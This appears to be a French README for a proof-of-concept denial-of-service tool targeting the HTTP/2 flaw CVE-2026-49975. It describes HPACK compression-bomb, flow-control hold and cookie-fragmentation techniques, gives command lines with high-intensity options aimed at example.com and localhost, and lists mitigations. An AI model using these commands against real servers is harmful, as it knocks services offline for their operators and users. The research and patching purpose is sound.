
CVE-2026-49975
Outil de reproduction de la vulnérabilité de déni de service distant HTTP/2
CVE-2026-49975 est une vulnérabilité de déni de service HTTP/2 affectant les principaux serveurs Web. Elle a été découverte début juin 2026 par la société de sécurité Calif (à l'aide d'OpenAI Codex).
Bombe de compression HPACK : insérer un en-tête minuscule (comme "x: a") dans la table dynamique HPACK du serveur, puis envoyer des milliers de références d'index d'1 octet. Chaque référence force le serveur à allouer une quantité importante de mémoire de gestion, tandis que le client ne consomme qu'une très faible bande passante. Le ratio d'amplification mémoire peut atteindre ~5700:1 (Envoy) et ~4000:1 (Apache httpd).
Maintien par contrôle de flux Slowloris : empêcher le serveur d'envoyer des réponses via une fenêtre de contrôle de flux de zéro octet, et envoyer au compte-gouttes des trames WINDOW_UPDATE pour maintenir la connexion active, « épinglant » ainsi les allocations mémoire.
Contournement par fragmentation des cookies : fragmenter un gros cookie en de nombreux petits morceaux afin de contourner la limite du nombre d'en-têtes du serveur.
| Logiciel | Versions affectées | Versions corrigées |
|---|
| Apache httpd (mod_http2) | < 2.0.41 | 2.0.41+ |
| nginx | < 1.29.8 | 1.29.8+ |
| OpenResty | basé sur nginx < 1.29.8 | 1.29.8+ |
| Envoy (CVE-2026-47774) | ≤ 1.37.2 | 1.35.11, 1.36.7, 1.37.3, 1.38.1+ |
| Microsoft IIS | Windows Server 2025 | aucun correctif |
| Cloudflare Pingora | configuration par défaut | aucun correctif |
Cet outil est destiné à la recherche en sécurité et aux tests autorisés ; il démontre le mécanisme d'attaque de la vulnérabilité CVE-2026-49975.
pip install -r requirements.txt
# Attaque de base
python http2_bomb.py example.com
# Cibler un serveur de test HTTP/2 local (sans TLS)
python http2_bomb.py localhost -p 8080 --no-tls
# Attaque de forte intensité (50 flux, 50000 références par flux)
python http2_bomb.py example.com -s 50 -n 50000
# Activer le contournement par fragmentation des cookies
python http2_bomb.py example.com --cookie-fragments 1000
# Mode rapide (ne maintient pas la connexion après l'envoi)
python http2_bomb.py example.com --no-hold
| Paramètre | Description | Valeur par défaut |
|---|---|---|
target | Adresse de l'hôte cible | obligatoire |
-p, --port | Port cible | 443 |
--no-tls | Désactiver TLS | false |
-s, --streams | Nombre de flux simultanés | 10 |
-n, --headers-per-stream | Nombre de références d'en-tête par flux | 10000 |
--cookie-fragments | Nombre de fragments de cookie | 0 |
--stream-delay | Délai d'envoi entre les flux (secondes) | 0.01 |
--window-update-interval | Intervalle d'envoi des WINDOW_UPDATE | 5.0s |
--no-hold | Ne pas maintenir la connexion après l'envoi | false |
--timeout | Délai d'expiration de la socket | 30 |
Utilisez test_server.py pour démarrer un serveur HTTP/2 simple afin de valider localement :
# Générer un certificat auto-signé
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes
# Démarrer le serveur de test
python test_server.py --port 8443
# Lancer l'attaque
python http2_bomb.py localhost -p 8443
Atténuation immédiate : si un correctif ne peut pas être appliqué immédiatement, désactiver temporairement HTTP/2
Protocols http/1.1http2 off;Appliquer les correctifs :
Durcissement de la configuration :
max_headers (nginx 1.29.8+ : 1000 par défaut)Surveillance et alertes :
⚠️ Cet outil est destiné uniquement à la recherche en sécurité et aux tests d'intrusion autorisés.
L'utilisation de cet outil contre des systèmes appartenant à autrui sans autorisation est illégale. L'utilisateur doit se conformer aux lois et réglementations locales et ne tester que des cibles pour lesquelles il dispose d'une autorisation légitime.
Licence MIT — destinée à la recherche en sécurité et à des fins éducatives.